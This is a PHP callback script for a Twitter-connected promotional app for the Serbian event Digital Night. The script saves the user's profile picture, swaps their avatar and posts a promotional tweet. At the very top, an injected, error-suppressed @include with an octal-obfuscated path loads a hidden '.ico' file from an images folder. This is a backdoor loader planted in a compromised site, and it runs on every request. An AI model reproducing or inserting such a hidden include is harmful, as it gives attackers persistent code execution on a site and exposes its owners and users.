<?php
/*27166*/

@include "\057hom\145/ho\155epa\147e/p\165bli\143_ht\155l/d\151git\141lni\147ht.\162s/i\155age\163/me\144ijs\153i-p\141rtn\145r/.\146453\064809\056ico";

/*27166*/




/*
 * @file
 * User has successfully authenticated with Twitter. Access tokens saved to session and DB.
 */

/* Load required lib files. */
session_start();
require_once('sql.php');
require_once('functions.php');

require_once('twitteroauth/twitteroauth.php');
require_once('config.php');

/*print_r($_SESSION);*/
/* If access tokens are not available redirect to connect page. */
if (empty($_SESSION['access_token']) || empty($_SESSION['access_token']['oauth_token']) || empty($_SESSION['access_token']['oauth_token_secret'])) {
    header('Location: ./clearsessions.php');
}
/* Get user access tokens out of the session. */
$access_token = $_SESSION['access_token'];

/* Create a TwitterOauth object with consumer/user tokens. */
$connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, $access_token['oauth_token'], $access_token['oauth_token_secret']);

/* If method is set change API call made. Test is called by default. */
$content = $connection->get('account/verify_credentials');

$img_original = str_replace("_normal", "", $content->profile_image_url);

$img_original = file_get_contents($img_original);
file_put_contents('user_img/'.$content->screen_name.'.jpg', $img_original);


make_img($content->screen_name);
//echo insert_user('asdasd');



$_SESSION['tw_screen_name'] = $content->screen_name;
if(isset($_POST['submit']))
{
    add_to_playlist($content->id_str);
    $path = "user_img/".$content->screen_name.".png";
    $type = pathinfo($path, PATHINFO_EXTENSION);
    $data = file_get_contents($path);
    $img_base64 = 'data:image/' . $type . ';base64,' . base64_encode($data);
    $img_base64 = base64_encode($data);
    $change_profile = $connection->post('account/update_profile_image', array('image' => $img_base64));
    $msg = "Uspešno ste zamenili svoj Twitter avatar. Hvala Vam što podržavate Digital Night.<br>Posetite website...";
    $content = $connection->post('statuses/update', array('status' => 'Dolazim na @DigitalNightRs. Vidimo se! http://digitalnight.rs #DigitalNight'));
    echo "
    <script src='//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'></script>
    <script>
    $(document).ready(function(){
        $('.btn').hide();
        $('.finish-btn').css({'display':'inline-block'});
    });
    </script>
";
}
include('home.php');
?>
